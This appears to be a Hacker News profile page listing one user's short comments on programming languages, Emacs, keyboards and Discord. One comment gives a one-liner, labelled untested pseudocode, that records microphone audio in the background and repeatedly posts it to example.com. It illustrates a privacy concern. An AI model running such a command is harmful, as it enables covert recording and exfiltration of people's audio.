Better HN
topnewbestaskshowjobs
Log inSign up

ahungry

233 karma · joined Sep 10, 2018 (8y ago) · 52 submissions

https://github.com/ahungry https://ahungry.com https://ahungry.com/blog
Submissions

comment 3y ago · link · parent

Bravo - for these simple things, typing in a GPT prompt or search query is more work than the command.

Even things like "what flags to use with ffmpeg" are a shell reverse-history search away, assuming one has ever used them in the past.

comment 3y ago · link · parent

I loved slitaz - got me into linux!

3.

Creative AIs and Baldur's Gate Modding(ahungry.com ↗)

3 points · by ahungry · 3y ago · discuss

comment 3y ago · link · parent

I've been using https://github.com/Malabarba/Nameless for awhile now - it's functionally very similar to the new Emacs shorthands feature.

comment 4y ago · link · parent

perl6/rakudo has most the same convenience features, albeit a little less type checking

comment 4y ago · link · parent

I've noticed that Rust is in an interesting spot - it has a lot of overlapping appeal with various groups.

- C/C++ developers like it as an alternative for low level languages

- Functional programmers like it because of it's functional features

- "Cargo Culters" / "Hot Language" / "Flavor of the Month" followers like it, as it's in vogue at the moment (this is the crowd that has likely shifted from various web/API scripting languages over the last decade - (php|ruby|python) -> nodejs -> rust)

However, as the article alludes to, for the third crowd, Rust is just likely not a great fit (even if it has a lot of neat features and introduces some great concepts others may not stumble on of their own accord) when your implementation doesn't do much beyond web dev/API/scripting purposes.

comment 4y ago · link · parent

Doesn't it show a system tray icon? (I don't use discord on Windows, or a system tray myself) - is a system tray icon not adequate? I believe it would show 24/7 wouldn't it?

comment 4y ago · link · parent

Did the users choose to install the Discord app (or run a random command?)

How are you supposed to confirm "user understanding"?

Does the program need to require a tutorial/training before it's being used?

A user's ignorance shouldn't be a software distributor's problem.

If the discord app didn't have a system tray, and hid it's process from the Process List someway, maybe you have a point - this is just ignorance across the board.

comment 4y ago · link · parent

Something like:

    nohup arecord /tmp/audio & ; nohup while :; do curl -F'data=/tmp/audio' http://example.com; done & 
Untested pseudocode, but probably close - that's enough for a GDPR violation I guess? That it'd record unimpeded while running in the background, and sending the output elsewhere?

Pretty stupid scenario - sad Discord had locations in that area, because I agree with a lot of other posters, it seems to just be a weaponized law for monetary gain.

comment 4y ago · link · parent

This was a trend in the early 2010s on a lot of Clojure projects

comment 4y ago · link · parent

I believe homoiconicity is more related to the syntax than the underlying implementation - fans of homoiconic code use it to treat code as data (macros and eval) rather than to reason about performance concerns/having a transparency into the underlying implementation (see: Clojure).

comment 4y ago · link · parent

lol

comment 4y ago · link · parent

Well stated.

comment 4y ago · link · parent

Nice tip!

comment 4y ago · link · parent

love this

comment 4y ago · link · parent

Wrap the entire script in {}, otherwise a change to it will impact running instances (best case, causing an abrupt error).

comment 4y ago · link · parent

Sometimes the infrastructure causes this. For a long time (and now?) AWS Api Gateway has a hard cap of 30 seconds, so the sum of all hops along the way need to remain under that.

comment 4y ago · link · parent

yup, thats the appeal - in a multi language environment a common call, not having to futz with cargo run, npm run start, python3 -m something, etc

comment 4y ago · link · parent

Compiles/transpiles into code that runs on a "host" language execution environment (nodejs, JVM, CLR) instead of it's own VM implementation, or native code.

comment 4y ago · link · parent

It'd be nice if someone on the Snowflake team actually maintained their JS adapter... (https://github.com/snowflakedb/snowflake-connector-nodejs/pu...)

comment 5y ago · link · parent

I wrote similar here: https://github.com/ahungry/janet-pobox although it probably needs updates to work with 1.18 and above.

comment 5y ago · link · parent

In libjanet you can use a C call like janet_panic() that'll "panic" and throw an exception/error up in the active Janet runtime (so when something bad/unexpected happens in your C code you are providing an API to from Janet, you'd use this).

comment 5y ago · link · parent

True, so more clicky than not clicky at all would put any clicky one in the "more clicky" category (blue/green/???) :)

The silver speed ones on this kraken keyboard aren't bad, but definitely take some getting used to (even resting idle fingers, I sometimes press the keys by mistake).

comment 5y ago · link · parent

As noted on the article - looking for recommendations of nice 60% keyboards in the $100'ish price point range as well.

Something a little more clicky than brown switches, but perhaps not as much as a Unicomp, and in the 60% form factor.

25.

Sixty Percent Keyboard(ahungry.com ↗)

3 points · by ahungry · 5y ago · 4 comments

comment 6y ago · link · parent

I was really tempted to go into some pro-FP suggestions (in particular, about reducing some of the duplicity via compositional functions), but wanted to keep it to just the over-abstraction/if/else complexity topic.

comment 6y ago · link · parent

Haha, good catch, I'm going to blame that on typing while tired

comment 6y ago · link · parent

That makes sense if it was just a list of ingredients with an identical process in every recipe (in which case the ingredients are simply data) - it may not have been super clear in the article alone, but there was a difference in process between the peanut butter and the oatmeal raisin (think for instance, how many times the .add() was called between the two), which would mean the recipe is acting more like code.

Configuration as code can definitely work and make some things more clear (at least, until the point an edge-case has to be added to the core routines to account for a new/custom type of configuration process).

Using a lisp tends to treat code as data, which solves all the problems in one fell swoop.

comment 6y ago · link · parent

Glad you enjoyed it!

30.

Write Code Like You Write a Recipe(ahungry.com ↗)

111 points · by ahungry · 6y ago · 84 comments

12